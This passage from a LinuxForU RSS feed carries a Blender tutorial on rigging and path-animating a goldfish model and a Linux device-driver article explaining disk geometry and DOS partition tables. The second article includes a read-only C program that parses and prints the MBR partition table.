phones" rel="tag">cell phones</a>, <a href="http://www.linuxforu.com/tag/cgnet/" title="CGNet" rel="tag">CGNet</a>, <a href="http://www.linuxforu.com/tag/citizen-media/" title="citizen media" rel="tag">citizen media</a>, <a href="http://www.linuxforu.com/tag/communication-technology/" title="communication technology" rel="tag">communication technology</a>, <a href="http://www.linuxforu.com/tag/content-management-system/" title="content management system" rel="tag">content management system</a>, <a href="http://www.linuxforu.com/tag/democracy/" title="Democracy" rel="tag">Democracy</a>, <a href="http://www.linuxforu.com/tag/developing-country/" title="Developing country" rel="tag">Developing country</a>, <a href="http://www.linuxforu.com/tag/digital-divide/" title="Digital Divide" rel="tag">Digital Divide</a>, <a href="http://www.linuxforu.com/tag/free-speech/" title="free speech" rel="tag">free speech</a>, <a href="http://www.linuxforu.com/tag/freedomfone/" title="FreedomFone" rel="tag">FreedomFone</a>, <a href="http://www.linuxforu.com/tag/github/" title="GitHub" rel="tag">GitHub</a>, <a href="http://www.linuxforu.com/tag/gsm/" title="GSM" rel="tag">GSM</a>, <a href="http://www.linuxforu.com/tag/healthcare/" title="healthcare" rel="tag">healthcare</a>, <a href="http://www.linuxforu.com/tag/india/" title="India" rel="tag">India</a>, <a href="http://www.linuxforu.com/tag/interactive-voice-response/" title="Interactive Voice Response" rel="tag">Interactive Voice Response</a>, <a href="http://www.linuxforu.com/tag/internet-penetration/" title="Internet penetration" rel="tag">Internet penetration</a>, <a href="http://www.linuxforu.com/tag/internet-users/" title="Internet users" rel="tag">Internet users</a>, <a href="http://www.linuxforu.com/tag/ivr/" title="IVR" rel="tag">IVR</a>, <a href="http://www.linuxforu.com/tag/journalists/" title="journalists" rel="tag">journalists</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/mainstream-media/" title="mainstream media" rel="tag">mainstream media</a>, <a href="http://www.linuxforu.com/tag/mass-media/" title="mass media" rel="tag">mass media</a>, <a href="http://www.linuxforu.com/tag/mit/" title="MIT" rel="tag">MIT</a>, <a href="http://www.linuxforu.com/tag/mobile-phones/" title="mobile phones" rel="tag">mobile phones</a>, <a href="http://www.linuxforu.com/tag/open-medium/" title="open medium" rel="tag">open medium</a>, <a href="http://www.linuxforu.com/tag/pbx-system/" title="PBX system" rel="tag">PBX system</a>, <a href="http://www.linuxforu.com/tag/sms/" title="SMS" rel="tag">SMS</a>, <a href="http://www.linuxforu.com/tag/speech-recognition-technology/" title="Speech-recognition technology" rel="tag">Speech-recognition technology</a>, <a href="http://www.linuxforu.com/tag/swara/" title="Swara" rel="tag">Swara</a>, <a href="http://www.linuxforu.com/tag/text-to-speech-system/" title="text-to-speech system" rel="tag">text-to-speech system</a>, <a href="http://www.linuxforu.com/tag/voice-recognition/" title="voice recognition" rel="tag">voice recognition</a>, <a href="http://www.linuxforu.com/tag/web-frameworks/" title="Web frameworks" rel="tag">Web frameworks</a>, <a href="http://www.linuxforu.com/tag/web-interface/" title="Web interface" rel="tag">Web interface</a>, <a href="http://www.linuxforu.com/tag/web-platforms/" title="Web platforms" rel="tag">Web platforms</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/digital-divide-audio-portals-connect-communities/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Learn to Animate with Blender, Part 2: Creating Animation Controls</title><link>http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=animate-with-blender-part-2-creating-controls-animation</link> <comments>http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/#comments</comments> <pubDate>Tue, 31 Jan 2012 11:33:38 +0000</pubDate> <dc:creator>Dr. Vivek Chauhan</dc:creator> <category><![CDATA[For You & Me]]></category> <category><![CDATA[How-Tos]]></category> <category><![CDATA[Tools / Apps]]></category> <category><![CDATA[2d backgrounds]]></category> <category><![CDATA[3D computer graphics]]></category> <category><![CDATA[3D graphics software]]></category> <category><![CDATA[animation]]></category> <category><![CDATA[Animation software]]></category> <category><![CDATA[Arts]]></category> <category><![CDATA[Blender]]></category> <category><![CDATA[Blender Animation Series]]></category> <category><![CDATA[character animation]]></category> <category><![CDATA[Curve Editor]]></category> <category><![CDATA[goldfish]]></category> <category><![CDATA[graphics]]></category> <category><![CDATA[Inverse kinematics]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[Media Production]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9447</guid> <description><![CDATA[This part of the series [Part 1 &#038; 2] deals with creating controls for the fish and animating it. Blender is great software for animation and is particularly suited for character animation. Following...]]></description> <content:encoded><![CDATA[<p><img class="aligncenter size-large wp-image-9448" title="Animating Goldfish" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Blender-3-590x332.jpg?d9c344" alt="Animating Goldfish" width="590" height="332" /></p><div class="introduction">This part of the series [<a href="http://www.linuxforu.com/2011/11/learn-to-animate-with-blender-part-1-modelling-the-goldfish/" title="Learn to Animate with Blender, Part 1: Modelling the Goldfish">Part 1</a> &#038; <a href="http://www.linuxforu.com/2011/12/animate-with-blender-part-2-decaling-rigging-goldfish/" title="Learn to Animate with Blender, Part 2: Decaling &#038; Rigging the Goldfish">2</a>] deals with creating controls for the fish and animating it.</div><p>Blender is great software for animation and is particularly suited for character animation. Following a process of modelling and creating vertex groups for complex models, and then auto-assigning bones using the same nomenclature as for the vertex groups, makes it very easy to set up a working character rig. The Armature tool in Blender is very advanced, yet quite simple to use even for novices. Setting up controls is also quite easy in Blender, compared to software like Maya or Max.</p><h2>Create controls and add IK</h2><p>Shift to the orthographic side view by pressing 3 and 5 on the numeric pad. Click just in front of the mouth of the fish. Press the space bar and Add-Mesh-Cube. Scale down the cube as shown in Figures 1 and 2.</p><div id="attachment_9461" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/1-adding-mesh-cube.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/1-adding-mesh-cube-590x442.png?d9c344" alt="Adding a mesh cube" title="Adding a mesh cube" width="590" height="442" class="size-large wp-image-9461" /></a><p class="wp-caption-text">Figure 1: Adding a mesh cube</p></div><div id="attachment_9460" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/2-scaling-down-cube.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/2-scaling-down-cube-590x442.png?d9c344" alt="Scaling down the cube" title="Scaling down the cube" width="590" height="442" class="size-large wp-image-9460" /></a><p class="wp-caption-text"> Figure 2: Scaling down the cube</p></div><p>You can create IK in Blender in various ways. The easiest is to first shift to Pose Mode. Select the control cube you just created. Shift-select the head bone. Press Ctrl+I. A pop-up asks you whether you want to assign IK to the active object. Click OK. Go down to the Armature panel and set the chain length to 1.</p><p>Add similar cubes to create controls for the fins and the tail. Add IK for all the controls. Shift to the Animation UI and click the render boxes next to the cube icons in the outliner (Restrict/Allow renderability). This will disable rendering of the cubes (since in our renders we want only the goldfish to be displayed and not the controls). Figures 3 to 6 show the process of adding controls and IK, and Figure 7 shows how to toggle rendering of the cube.</p><div id="attachment_9459" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/3-adding-IK-control-to-head.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/3-adding-IK-control-to-head-590x442.png?d9c344" alt="Adding IK control to the head" title="Adding IK control to the head" width="590" height="442" class="size-large wp-image-9459" /></a><p class="wp-caption-text">Figure 3: Adding IK control to the head</p></div><p><a href='http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/6-adding-ik-constraints/' title='Adding IK constraints'><img width="150" height="150" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/6-Adding-IK-constraints-150x150.png?d9c344" class="attachment-thumbnail" alt="Adding IK constraints" title="Adding IK constraints" /></a><br /> <a href='http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/5-creating-four-control-cubes/' title='Creating four control cubes'><img width="150" height="150" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/5-creating-four-control-cubes-150x150.png?d9c344" class="attachment-thumbnail" alt="Creating four control cubes" title="Creating four control cubes" /></a><br /> <a href='http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/4-moving-cube-to-observe-deformation/' title='Moving the cube to observe deformation'><img width="150" height="150" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/4-moving-cube-to-observe-deformation-150x150.png?d9c344" class="attachment-thumbnail" alt="Moving the cube to observe deformation" title="Moving the cube to observe deformation" /></a></p><div id="attachment_9455" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/7-Renaming_Ctrls_Toggle_Render.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/7-Renaming_Ctrls_Toggle_Render-590x442.png?d9c344" alt="Renaming Ctrls Toggle Render" title="Renaming Ctrls Toggle Render" width="590" height="442" class="size-large wp-image-9455" /></a><p class="wp-caption-text"> Figure 7: Renaming Ctrls Toggle Render</p></div><h2>Testing the controls</h2><p>Next, it is time to test the controls. While in object mode, move around the cubes to test the deformations on the fish. If you find these are not as expected, shift to the weight painting mode and try to get rid of overlapping weights &#8212; remove extra weights and add weight where necessary. On the weight painting slider, the lower part is for lower values and the upper part for higher values.</p><h2>Creating keyframes for animation</h2><p>Shift to the Animation UI through the drop-down menu. Select the whole armature at Frame 1. Press &#8216;I&#8217; for a pop-up menu to key in various attributes. Key the location, rotation and scale on the first frame. Selecting the armature and controls, move the goldfish forward in the viewport.</p><p>Shift to frame 250 and key the frame (press &#8216;I&#8217; and key the location, rotation and scale). Shifting back to Frame 1, test your animation &#8212; press Alt+A to play it. You will observe that the goldfish moves forward and the animation loops. Figures 8 and 9 show the insertion of keyframes at 1 and 250. Figure 10 shows the goldfish playing as a loop in the camera view.</p><p><a href='http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/10-moving-in-center/' title='Moving in the centre'><img width="150" height="150" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/10-moving-in-center-150x150.png?d9c344" class="attachment-thumbnail" alt="Moving in the centre" title="Moving in the centre" /></a><br /> <a href='http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/9-insert-key-at-frame-2/' title='Insert the key at Frame 250'><img width="150" height="150" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/9-insert-key-at-frame-2-150x150.png?d9c344" class="attachment-thumbnail" alt="Insert the key at Frame 250" title="Insert the key at Frame 250" /></a><br /> <a href='http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/8-insert-key-at-frame-1/' title='Insert the key at Frame 1'><img width="150" height="150" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/8-insert-key-at-frame-1-150x150.png?d9c344" class="attachment-thumbnail" alt="Insert the key at Frame 1" title="Insert the key at Frame 1" /></a></p><h2>Path animation: a good way to animate simple objects</h2><p>The easiest and the most convincing method of animating simple objects is path animation. It can create both the simplest and the most complex animation, depending on the type of path you create. In Blender, you first create your object, and then your path, after which you parent the object to the path using the Follow Path command, which could be done in various ways. Once your object starts to follow the path, the animation can be fine-tuned in various ways (modify the path&#8217;s attributes, or modify the IPO curves in the Curve Editor).</p><h2>Creating circular motion</h2><p>While at the Animation UI, press Add to add a nurbs circle. Press F9 to go to the buttons for nurbs and surface attributes. Set the path length to 250. Make it a 3D object. Also enable Curve Path and Curve Follow. Now select the armature, the controls and shift-select the nurbs circle.</p><p>Press Ctrl+P. From the pop-up menu, select Follow Path. This makes your fish follow the path defined by the nurbs circle &#8212; a circular motion. Play your animation (Alt+A). If you find the fish is not aligned to the path properly, you can fix this by manually rotating and aligning the fish on the nurbs circle. Figures 11 and 12 show how the nurbs circle is used to make a circular path for the goldfish.</p><div id="attachment_9451" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/11-add-nurbs-circle.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/11-add-nurbs-circle-590x442.png?d9c344" alt="Add nurbs circle" title="Add nurbs circle" width="590" height="442" class="size-large wp-image-9451" /></a><p class="wp-caption-text">Figure 11: Add nurbs circle</p></div><div id="attachment_9450" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/12-curve-and-surface-parameters.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/12-curve-and-surface-parameters-590x442.png?d9c344" alt="Curve and surface parameters" title="Curve and surface parameters" width="590" height="442" class="size-large wp-image-9450" /></a><p class="wp-caption-text">Figure 12: Curve and surface parameters</p></div><h2>Creating random motion using a hand-drawn path</h2><p>Create a path. Shift to edit mode. Select the end-point and start to extrude it using E. Make a random path. Once you are done with path creation, select the armature with the fish controls and the parent to the path (Follow Path from the pop-up menu).</p><p>Play the animation (Alt+A). Using Shift+D, you could make multiple copies of the same animation and place them randomly before the camera. When you play the animation, it gives the impression of a whole school of fish swimming randomly. This is by far the best way of creating animation using the Animate along path method.</p><p>Once you practice creating such animation you could fine-tune it to make it appear more realistic, perhaps by using the cube controls to move the fish fins back and forth, move the tail from side to side, open and close the mouth of the fish as it moves, and so on.</p><p>There is no limit to the innumerable ways you can make your animation more realistic. Figure 13 shows you the goldfish moving along randomly created paths.</p><div id="attachment_9449" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/13-Random-Animation-using-pat.jpg?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/13-Random-Animation-using-pat-590x442.jpg?d9c344" alt="Random animation using the path" title="Random animation using the path" width="590" height="442" class="size-large wp-image-9449" /></a><p class="wp-caption-text">Figure 13: Random animation using the path</p></div><div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2011/11/learn-to-animate-with-blender-part-1-modelling-the-goldfish/" rel="bookmark" class="crp_title">Learn to Animate with Blender, Part 1: Modelling the Goldfish</a></li><li><a href="http://www.linuxforu.com/2011/12/animate-with-blender-part-2-decaling-rigging-goldfish/" rel="bookmark" class="crp_title">Learn to Animate with Blender, Part 2: Decaling &#038; Rigging the Goldfish</a></li><li><a href="http://www.linuxforu.com/2011/09/compositing-in-blender/" rel="bookmark" class="crp_title">The Magical Art of Compositing in Blender</a></li><li><a href="http://www.linuxforu.com/2011/01/make-your-own-stop-motion-animation-using-stopmotion/" rel="bookmark" class="crp_title">Make Your Own Stop-Motion Animation Using Stopmotion</a></li><li><a href="http://www.linuxforu.com/2011/07/get-started-with-pygame-part-2/" rel="bookmark" class="crp_title">Get Started with Pygame, Part 2</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/2d-backgrounds/" title="2d backgrounds" rel="tag">2d backgrounds</a>, <a href="http://www.linuxforu.com/tag/3d-computer-graphics/" title="3D computer graphics" rel="tag">3D computer graphics</a>, <a href="http://www.linuxforu.com/tag/3d-graphics-software/" title="3D graphics software" rel="tag">3D graphics software</a>, <a href="http://www.linuxforu.com/tag/animation/" title="animation" rel="tag">animation</a>, <a href="http://www.linuxforu.com/tag/animation-software/" title="Animation software" rel="tag">Animation software</a>, <a href="http://www.linuxforu.com/tag/arts/" title="Arts" rel="tag">Arts</a>, <a href="http://www.linuxforu.com/tag/blender/" title="Blender" rel="tag">Blender</a>, <a href="http://www.linuxforu.com/tag/blender-animation-series/" title="Blender Animation Series" rel="tag">Blender Animation Series</a>, <a href="http://www.linuxforu.com/tag/character-animation/" title="character animation" rel="tag">character animation</a>, <a href="http://www.linuxforu.com/tag/curve-editor/" title="Curve Editor" rel="tag">Curve Editor</a>, <a href="http://www.linuxforu.com/tag/goldfish/" title="goldfish" rel="tag">goldfish</a>, <a href="http://www.linuxforu.com/tag/graphics/" title="graphics" rel="tag">graphics</a>, <a href="http://www.linuxforu.com/tag/inverse-kinematics/" title="Inverse kinematics" rel="tag">Inverse kinematics</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/media-production/" title="Media Production" rel="tag">Media Production</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/animate-with-blender-part-2-creating-controls-animation/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Device Drivers, Part 14: A Dive Inside the Hard Disk for Understanding Partitions</title><link>http://www.linuxforu.com/2012/01/device-drivers-partitions-hard-disk/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=device-drivers-partitions-hard-disk</link> <comments>http://www.linuxforu.com/2012/01/device-drivers-partitions-hard-disk/#comments</comments> <pubDate>Tue, 31 Jan 2012 10:47:17 +0000</pubDate> <dc:creator>Anil Kumar Pugalia</dc:creator> <category><![CDATA[Coding]]></category> <category><![CDATA[Developers]]></category> <category><![CDATA[BIOS]]></category> <category><![CDATA[boot]]></category> <category><![CDATA[device drivers]]></category> <category><![CDATA[DOS]]></category> <category><![CDATA[fdisk]]></category> <category><![CDATA[Hard disk drive]]></category> <category><![CDATA[hard disks]]></category> <category><![CDATA[kernel]]></category> <category><![CDATA[kernel programming]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[linked-list head]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[linux device drivers]]></category> <category><![CDATA[Linux Device Drivers Series]]></category> <category><![CDATA[MBR]]></category> <category><![CDATA[mechanical engineering]]></category> <category><![CDATA[Minix]]></category> <category><![CDATA[operating system]]></category> <category><![CDATA[Partition table]]></category> <category><![CDATA[partitions]]></category> <category><![CDATA[platters]]></category> <category><![CDATA[sectors]]></category> <category><![CDATA[storage systems]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9439</guid> <description><![CDATA[This article, which is part of the series on Linux device drivers, takes you on a tour inside a hard disk. &#8220;Doesn&#8217;t it sound like a mechanical engineering subject: The design of the...]]></description> <content:encoded><![CDATA[<p><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Hard-drive-opening-image.jpg?d9c344" alt="Inside the hard drive" title="Inside the hard drive" width="350" height="334" class="alignright size-full wp-image-9441" /><div class="introduction">This article, which is part of the <a href="http://www.linuxforu.com/tag/linux-device-drivers-series/">series on Linux device drivers</a>, takes you on a tour inside a hard disk.</div><p>&#8220;Doesn&#8217;t it sound like a mechanical engineering subject: The design of the hard disk?&#8221; questioned Shweta. &#8220;Yes, it does. But understanding it gives us an insight into its programming aspect,&#8221; reasoned Pugs, while waiting for the commencement of the seminar on storage systems.</p><p>The seminar started with a few hard disks in the presenter&#8217;s hand and then a dive into her system, showing the output of <code>fdisk -l</code> (Figure 1).</p><div id="attachment_9440" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/figure_23_fdisk_listing.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/figure_23_fdisk_listing-590x448.png?d9c344" alt="Partition listing by fdisk" title="Partition listing by fdisk" width="590" height="448" class="size-large wp-image-9440" /></a><p class="wp-caption-text">Figure 1: Partition listing by fdisk</p></div><p>The first line shows the hard disk size in human-friendly format and in bytes. The second line mentions the number of logical heads, logical sectors per track, and the actual number of cylinders on the disk &#8212; together known as the geometry of the disk.</p><p>The 255 heads indicate the number of platters or disks, as one read-write head is needed per disk. Let&#8217;s number them, say D1, D2,  D255. Now, each disk would have the same number of concentric circular tracks, starting from the outside to the inside. In the above case, there are 60,801 such tracks per disk. Let&#8217;s number them, say T1, T2,  T60801. And a particular track number from all the disks forms a cylinder of the same number. For example, tracks T2 from D1, D2,  D255 will together form the cylinder C2. Now, each track has the same number of logical sectors &#8212; 63 in our case, say S1, S2,  S63. And each sector is typically 512 bytes. Given this data, one can actually compute the total usable hard disk size, using the following formula:</p><pre class="brush: text; gutter: false; first-line: 1">Usable hard disk size in bytes = (Number of heads or disks) * (Number of tracks per disk) * (Number of sectors per track) * (Number of bytes per sector, i.e. sector size)</pre><p>For the disk under consideration, it would be: <code>255 * 60801 * 63 * 512 bytes = 500105249280 bytes</code>.</p><p>Note that this number may be slightly less than the actual hard disk (500107862016 bytes, in our case). The reason is that the formula doesn&#8217;t consider the bytes in the last partial or incomplete cylinder. The primary reason for that is the difference between today&#8217;s technology of organising the actual physical disk geometry and the traditional geometry representation using heads, cylinders and sectors.</p><p>Note that in the <code>fdisk</code> output, we referred to the heads and sectors per track as logical not physical. One may ask that if today&#8217;s disks don&#8217;t have such physical geometry concepts, then why still maintain them and represent them in a logical form? The main reason is to be able to continue with the same concepts of partitioning, and be able to maintain the same partition table formats, especially for the most prevalent DOS-type partition tables, which heavily depend on this simplistic geometry. Note the computation of cylinder size (<code>255 heads * 63 sectors / track * 512 bytes / sector = 8225280 bytes</code>) in the third line and then the demarcation of partitions in units of complete cylinders.</p><h2>DOS-type partition tables</h2><p>This brings us to the next important topic: understanding DOS-type partition tables. But first, what is a partition, and why should we partition? A hard disk can be divided into one or more logical disks, each of which is called a partition. This is useful for organising different types of data separately, for example, different operating system data, user data, temporary data, etc.</p><p>So, partitions are basically logical divisions and need to be maintained by metadata, which is the partition table. A DOS-type partition table contains four partition entries, each a 16-byte entry. Each of these entries can be depicted by the following &#8216;C&#8217; structure:</p><pre class="brush: c; gutter: false; first-line: 1">typedef struct
{
    unsigned char boot_type; // 0x00 - Inactive; 0x80 - Active (Bootable)
    unsigned char start_head;
    unsigned char start_sec:6;
    unsigned char start_cyl_hi:2;
    unsigned char start_cyl;
    unsigned char part_type;
    unsigned char end_head;
    unsigned char end_sec:6;
    unsigned char end_cyl_hi:2;
    unsigned char end_cyl;
    unsigned long abs_start_sec;
    unsigned long sec_in_part;
} PartEntry;</pre><p>This partition table, followed by the two-byte signature <code>0xAA55</code>, resides at the end of the disk&#8217;s first sector, commonly known as the Master Boot Record (MBR). Hence, the starting offset of this partition table within the MBR is <code>512 - (4 * 16 + 2) = 446</code>. Also, a 4-byte disk signature is placed at offset 440.</p><p>The remaining top 440 bytes of the MBR are typically used to place the first piece of boot code, that is loaded by the BIOS to boot the system from the disk. The <code>part_info.c</code> listing contains these various definitions, along with code for parsing and printing a formatted output of the partition table.</p><p>From the partition table entry structure, it could be noted that the start and end cylinder fields are only 10 bits long, thus allowing a maximum of 1023 cylinders only. However, for today&#8217;s huge hard disks, this is in no way sufficient. Hence, in overflow cases, the corresponding <code>&lt;head, cylinder, sector&gt;</code> triplet in the partition table entry is set to the maximum value, and the actual value is computed using the last two fields: the absolute start sector number (abs_start_sec) and the number of sectors in this partition (<code>sec_in_part</code>).</p><p>The code for this too is in <code>part_info.c</code>:</p><pre class="brush: c; gutter: true; first-line: 1">#include &lt;stdio.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;

#define SECTOR_SIZE 512
#define MBR_SIZE SECTOR_SIZE
#define MBR_DISK_SIGNATURE_OFFSET 440
#define MBR_DISK_SIGNATURE_SIZE 4
#define PARTITION_TABLE_OFFSET 446
#define PARTITION_ENTRY_SIZE 16 // sizeof(PartEntry)
#define PARTITION_TABLE_SIZE 64 // sizeof(PartTable)
#define MBR_SIGNATURE_OFFSET 510
#define MBR_SIGNATURE_SIZE 2
#define MBR_SIGNATURE 0xAA55
#define BR_SIZE SECTOR_SIZE
#define BR_SIGNATURE_OFFSET 510
#define BR_SIGNATURE_SIZE 2
#define BR_SIGNATURE 0xAA55

typedef struct {
    unsigned char boot_type; // 0x00 - Inactive; 0x80 - Active (Bootable)
    unsigned char start_head;
    unsigned char start_sec:6;
    unsigned char start_cyl_hi:2;
    unsigned char start_cyl;
    unsigned char part_type;
    unsigned char end_head;
    unsigned char end_sec:6;
    unsigned char end_cyl_hi:2;
    unsigned char end_cyl;
    unsigned long abs_start_sec;
    unsigned long sec_in_part;
} PartEntry;

typedef struct {
    unsigned char boot_code[MBR_DISK_SIGNATURE_OFFSET];
    unsigned long disk_signature;
    unsigned short pad;
    unsigned char pt[PARTITION_TABLE_SIZE];
    unsigned short signature;
} MBR;

void print_computed(unsigned long sector) {
    unsigned long heads, cyls, tracks, sectors;

    sectors = sector % 63 + 1 /* As indexed from 1 */;
    tracks = sector / 63;
    cyls = tracks / 255 + 1 /* As indexed from 1 */;
    heads = tracks % 255;
    printf(&quot;(%3d/%5d/%1d)&quot;, heads, cyls, sectors);
}

int main(int argc, char *argv[]) {
    char *dev_file = &quot;/dev/sda&quot;;
    int fd, i, rd_val;
    MBR m;
    PartEntry *p = (PartEntry *)(m.pt);

    if (argc == 2) {
        dev_file = argv[1];
    }
    if ((fd = open(dev_file, O_RDONLY)) == -1) {
        fprintf(stderr, &quot;Failed opening %s: &quot;, dev_file);
        perror(&quot;&quot;);
        return 1;
    }
    if ((rd_val = read(fd, &amp;m, sizeof(m))) != sizeof(m)) {
        fprintf(stderr, &quot;Failed reading %s: &quot;, dev_file);
        perror(&quot;&quot;);
        close(fd);
        return 2;
    }
    close(fd);
    printf(&quot;\nDOS type Partition Table of %s:\n&quot;, dev_file);
    printf(&quot;  B Start (H/C/S)   End (H/C/S) Type  StartSec    TotSec\n&quot;);
    for (i = 0; i &lt; 4; i++) {
        printf(&quot;%d:%d (%3d/%4d/%2d) (%3d/%4d/%2d)  %02X %10d %9d\n&quot;,
            i + 1, !!(p[i].boot_type &amp; 0x80),
            p[i].start_head,
            1 + ((p[i].start_cyl_hi &lt;&lt; 8) | p[i].start_cyl),
            p[i].start_sec,
            p[i].end_head,
            1 + ((p[i].end_cyl_hi &lt;&lt; 8) | p[i].end_cyl),
            p[i].end_sec,
            p[i].part_type,
            p[i].abs_start_sec, p[i].sec_in_part);
    }
    printf(&quot;\nRe-computed Partition Table of %s:\n&quot;, dev_file);
    printf(&quot;  B Start (H/C/S)   End (H/C/S) Type  StartSec    TotSec\n&quot;);
    for (i = 0; i &lt; 4; i++) {
        printf(&quot;%d:%d &quot;, i + 1, !!(p[i].boot_type &amp; 0x80));
        print_computed(p[i].abs_start_sec);
        printf(&quot; &quot;);
        print_computed(p[i].abs_start_sec + p[i].sec_in_part - 1);
        printf(&quot; %02X %10d %9d\n&quot;, p[i].part_type,
            p[i].abs_start_sec, p[i].sec_in_part);
    }
    printf(&quot;\n&quot;);
    return 0;
}</pre><p>As the above is an application, compile it with <code>gcc part_info.c -o part_info</code>, and then run <code>./part_info /dev/sda</code> to check out your primary partitioning information on <code>/dev/sda</code>. Figure 2 shows the output of <code>./part_info</code> on the presenter&#8217;s system. Compare it with the <code>fdisk</code> output in Figure 1.</p><div id="attachment_9442" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/figure_24_part_info_output.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/figure_24_part_info_output-590x448.png?d9c344" alt="Output of ./part_info" title="Output of ./part_info" width="590" height="448" class="size-large wp-image-9442" /></a><p class="wp-caption-text">Figure 2: Output of ./part_info</p></div><h2>Partition types and boot records</h2><p>Now, as this partition table is hard-coded to have four entries, that&#8217;s the maximum number of partitions you can have. These are called primary partitions, each having an associated type in the corresponding partition table entry. These types are typically coined by various OS vendors, and hence sort of map to various OSs like DOS, Minix, Linux, Solaris, BSD, FreeBSD, QNX, W95, Novell Netware, etc., to be used for/with the particular OS. However, this is more a formality than a real requirement.</p><p>Besides this, one of the four primary partitions can be labelled as something called an extended partition, which has a special significance. As the name suggests, it is used to further extend hard disk division, i.e., to have more partitions. These are called logical partitions and are created within the extended partition. The metadata of these is maintained in a linked-list format, allowing an unlimited number of logical partitions (at least theoretically).</p><p>For that, the first sector of the extended partition, commonly called the Boot Record (BR), is used like the MBR to store (the linked-list head of) the partition table for the logical partitions. Subsequent linked-list nodes are stored in the first sector of the subsequent logical partitions, referred to as the Logical Boot Record (LBR). Each linked-list node is a complete 4-entry partition table, though only the first two entries are used &#8212; the first for the linked-list data, namely, information about the immediate logical partition, and the second as the linked list&#8217;s next pointer, pointing to the list of remaining logical partitions.</p><p>To compare and understand the primary partitioning details on your system&#8217;s hard disk, follow the steps (as the root user &#8212; hence with care) given below:</p><pre class="brush: text; gutter: false; first-line: 1">./part_info /dev/sda ## Displays the partition table on /dev/sda
fdisk -l /dev/sda ## To display and compare the partition table entries with the above</pre><p>In case you have multiple hard disks (<code>/dev/sdb</code>, &#8230;), hard disk device files with other names (<code>/dev/hda</code>, &#8230;), or an extended partition, you may try <code>./part_info &lt;device_file_name&gt;</code> on them as well. Trying on an extended partition would give you the information about the starting partition table of the logical partitions.</p><p>Right now, we have carefully and selectively played (read-only) with the system&#8217;s hard disk. Why carefully? Since otherwise, we may render our system non-bootable. But no learning is complete without a total exploration. Hence, in our next session, we will create a dummy disk in RAM and do destructive exploration on it.<div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2012/01/working-with-mtd-devices/" rel="bookmark" class="crp_title">Working with MTD Devices</a></li><li><a href="http://www.linuxforu.com/2012/01/joy-of-programming-understanding-bit-fields-c/" rel="bookmark" class="crp_title">Joy of Programming: Understanding Bit-fields in C</a></li><li><a href="http://www.linuxforu.com/2009/02/improve-multi-os-computer-performance-through-cross-swapping/" rel="bookmark" class="crp_title">Improve Multi-OS Computer Performance through Cross Swapping</a></li><li><a href="http://www.linuxforu.com/2009/03/install-linux-straight-from-an-iso/" rel="bookmark" class="crp_title">Stop Wasting CDs; Install Linux Straight from an ISO</a></li><li><a href="http://www.linuxforu.com/2011/04/getting-started-with-inotify/" 